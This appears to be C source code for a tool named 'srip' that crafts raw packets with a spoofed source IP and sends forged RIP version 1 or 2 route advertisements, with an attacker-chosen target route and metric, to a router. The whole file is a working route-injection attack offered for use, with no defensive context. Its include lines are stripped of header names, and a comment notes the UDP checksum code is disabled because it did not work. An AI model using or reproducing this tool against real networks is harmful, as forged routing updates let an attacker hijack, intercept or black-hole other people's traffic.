#include #include #include #include #include #include #include #include #include #include /* define our own structs so this will be easier to port*/ #define IPVERSION 4 struct ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct udp_header { unsigned short uh_sport; /* source port */ unsigned short uh_dport; /* destination port */ unsigned short uh_ulen; /* udp length */ unsigned short uh_sum; /* udp checksum */ }; #define RIP_PORT 520 struct rip_message { unsigned short family; unsigned short tag; unsigned long ip; unsigned long netmask; unsigned long gateway; unsigned long metric; }; struct rip { unsigned char command; unsigned char version; unsigned short domain; struct rip_message routes[1]; }; struct raw_pkt { struct ip_header ip; struct udp_header udp; struct rip rip; }; struct raw_pkt* pkt; unsigned long int get_ip_addr(char* str) { struct hostent *hostp; unsigned long int addr; if ( (addr = inet_addr(str)) == -1) { if ( (hostp = gethostbyname(str))) return *(unsigned long int*)(hostp->h_addr); else { fprintf(stderr,"unknown host %s\n",str); exit(1); } } return addr; } unsigned short checksum(unsigned short* addr,char len) { register long sum = 0; while(len > 1) { sum += *addr++; len -= 2; } if(len > 0) sum += *addr; while (sum>>16) sum = (sum & 0xffff) + (sum >> 16); return ~sum; } void usage(void) { printf("Usage: srip [-2] [-n netmask] [-g gateway] source dest target metric\n"); printf(" 2:\t\tRIP version 2\n"); printf(" n:\t\tnetmask (for version 2)\n"); printf(" g:\t\tgateway (for version 2)\n"); printf(" source:\tRIP packet sender\n"); printf(" dest:\t\tRIP packet destination\n"); printf(" target:\tadvertised route\n"); printf(" metric:\tadvertised metric\n"); exit(0); } int main(int argc,char** argv) { struct sockaddr_in sa; int sock,packet_len; int ch; long source,dest,target,netmask,gateway; int version,metric; int on = 1; version=1; netmask=0; gateway=0; while ( (ch = getopt(argc,argv,"2n:g:"))!= -1 ) { switch (ch) { case 'n': netmask=get_ip_addr(optarg); break; case 'g': gateway=get_ip_addr(optarg); break; case '2': version=2; break; default:usage(); break; } } argc-=optind; argv+=optind; if (argc!=4) usage(); source=get_ip_addr(argv[0]); dest=get_ip_addr(argv[1]); target=get_ip_addr(argv[2]); metric=atoi(argv[3]); if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,SOL_SOCKET,SO_BROADCAST,(char *)&on,sizeof(on))<0) { perror("setsockopt: SO_BROADCAST"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; packet_len = sizeof(struct raw_pkt); pkt = calloc((size_t)1,(size_t)packet_len); pkt->ip.ip_v = IPVERSION; pkt->ip.ip_hl = sizeof(struct ip_header) >> 2; pkt->ip.ip_tos = 0; pkt->ip.ip_len = htons(packet_len); pkt->ip.ip_id = htons(getpid() & 0xFFFF); pkt->ip.ip_off = 0; pkt->ip.ip_ttl = 0xdf; pkt->ip.ip_p = IPPROTO_UDP ;//UDP pkt->ip.ip_sum = 0; pkt->ip.ip_src = source; pkt->ip.ip_dst = sa.sin_addr.s_addr; pkt->ip.ip_sum = checksum((unsigned short*)pkt,sizeof(struct ip_header)); pkt->udp.uh_sport = htons(520); pkt->udp.uh_dport = htons(520); pkt->udp.uh_ulen = htons(sizeof(struct udp_header)+sizeof(struct rip)); pkt->udp.uh_sum = 0; pkt->rip.command = 2; pkt->rip.version = version; pkt->rip.routes[0].family = htons(2); pkt->rip.routes[0].ip = target; pkt->rip.routes[0].metric = htonl(metric); //putting in the udp checksum breaks it. //someone email and explain this to me :> //pkt->udp.uh_sum = checksum((unsigned short*)&(pkt->udp), //sizeof(struct udp_header)+sizeof(struct rip)); if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } }